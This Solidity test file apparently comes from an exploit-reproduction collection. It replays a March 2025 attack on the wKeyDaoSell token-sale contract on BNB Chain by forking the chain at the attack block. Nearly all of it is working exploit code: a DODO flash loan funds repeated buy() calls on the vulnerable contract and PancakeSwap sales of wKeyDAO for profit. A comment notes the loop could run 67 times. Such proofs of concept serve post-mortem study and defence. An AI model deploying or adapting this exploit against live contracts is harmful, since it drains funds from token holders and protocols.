src/test/2025-03/wKeyDAO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4 
5import "../basetest.sol";
6import {IERC20, WETH} from "../interface.sol";
7 
8// @KeyInfo - Total Lost : ~767 US$
9// Attacker : 0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
10// Attack Contract : 0x3783c91ee49a303c17c558f92bf8d6395d2f76e3
11// Vulnerable Contract : 0xd511096a73292a7419a94354d4c1c73e8a3cd851
12// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8?line=12
13 
14 
15// @Analysis
16// Post-mortem : https://x.com/Phalcon_xyz/status/1900809936906711549
17// @POC Author : [Yajin Zhou](https://x.com/yajinzhou)
18 
19 
20// Contracts involved
21address constant wKeyDaoSell = 0xD511096a73292A7419a94354d4C1C73e8a3CD851;
22address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
23address constant wKeyDAO = 0x194B302a4b0a79795Fb68E2ADf1B8c9eC5ff8d1F;
24address constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
25 
26contract wKeyDao_exp is Test {
27    address attacker = makeAddr("attacker");
28 
29    function setUp() public {
30        vm.createSelectFork("bsc", 47_469_060 - 1);
31    }
32 
33    function testPoC() public {
34        vm.startPrank(attacker);
35        Attacker attc = new Attacker();
36 
37        uint balanceBefore =  IERC20(BUSD).balanceOf(address(attc));
38 
39        attc.fire();
40 
41        uint balanceAfter =  IERC20(BUSD).balanceOf(address(attc));
42 
43        console2.log("Profit: ", (balanceAfter - balanceBefore) / 1e18);
44 
45    }
46}
47 
48contract Attacker {
49 
50    function fire() external {   
51        __dodoFlashLoan(address(0x107F3Be24e3761A91322AA4f5F54D9f18981530C), 1_200e18, BUSD);
52    }
53 
54    function onERC721Received(
55        address,
56        address,
57        uint256,
58        bytes calldata
59    ) external pure returns (bytes4) {
60        return IERC721Receiver.onERC721Received.selector;
61    }
62 
63    function __dodoFlashLoan(
64        address flashLoanPool, //You will make a flashloan from this DODOV2 pool
65        uint256 loanAmount, 
66        address loanToken
67    ) internal   {
68        bytes memory data = abi.encode(flashLoanPool, loanToken, loanAmount);
69        address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();
70        console2.log("flashLoanBase Balance:", flashLoanBase);
71 
72        if(flashLoanBase == loanToken) {
73            IDODO(flashLoanPool).flashLoan(loanAmount, 0, address(this), data);
74        } else {
75            IDODO(flashLoanPool).flashLoan(0, loanAmount, address(this), data);
76        }
77    }
78 
79    //Note: CallBack function executed by DODOV2(DVM) flashLoan pool
80    function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount,bytes calldata data) external {
81        _flashLoanCallBack(sender,baseAmount,quoteAmount,data);
82    }
83 
84    function _flashLoanCallBack(address sender, uint256, uint256, bytes calldata data) internal {
85        (address flashLoanPool, address loanToken, uint256 loanAmount) = abi.decode(data, (address, address, uint256));
86        
87        require(sender == address(this) && msg.sender == flashLoanPool, "HANDLE_FLASH_NENIED");
88 
89        __realAttack();
90 
91        //Return funds
92        IERC20(loanToken).transfer(flashLoanPool, loanAmount);
93    }
94 
95    function __realAttack() internal {
96 
97        //approve BUSD to wKeyDaoSell
98        IERC20(BUSD).approve(wKeyDaoSell, 1_000_000e18);
99 
100        //approve wKeyDAO to pancakeSwapRouterV2
101        IERC20(wKeyDAO).approve(pancakeSwapRouterV2, 10000000000000000000000000000000);
102 
103        // to save time, we loop 5 times. -- can buy 67 times in total
104        for (uint256 i = 0; i < 5; i ++) {
105            //buy
106            IwKeyDaoSell(wKeyDaoSell).buy();
107 
108            //sell wKeyDAO
109            address[] memory path = new address[](2);
110            path[0] = address(wKeyDAO);
111            path[1] = address(BUSD);
112            IPancakeRouter02(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(
113                IERC20(wKeyDAO).balanceOf(address(this)),
114                0,
115                path,
116                address(this),
117                block.timestamp
118            );
119        }
120        
121    }
122}
123 
124interface IwKeyDaoSell {
125    function buy() external ;
126}
127 
128interface IDODO {
129    function flashLoan(
130        uint256 baseAmount,
131        uint256 quoteAmount,
132        address assetTo,
133        bytes calldata data
134    ) external;
135 
136    function _BASE_TOKEN_() external view returns (address);
137    function _BASE_RESERVE_() external view returns (uint112);
138    function _QUOTE_TOKEN_() external view returns (address);
139    function _QUOTE_RESERVE_() external view returns (uint112);
140}
141 
142interface IERC721Receiver {
143    function onERC721Received(
144        address operator,
145        address from,
146        uint256 tokenId,
147        bytes calldata data
148    ) external returns (bytes4);
149}
150 
151interface IPancakeRouter02 {
152    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
153        uint amountIn,
154        uint amountOutMin,
155        address[] calldata path,
156        address to,
157        uint deadline
158    ) external;
159}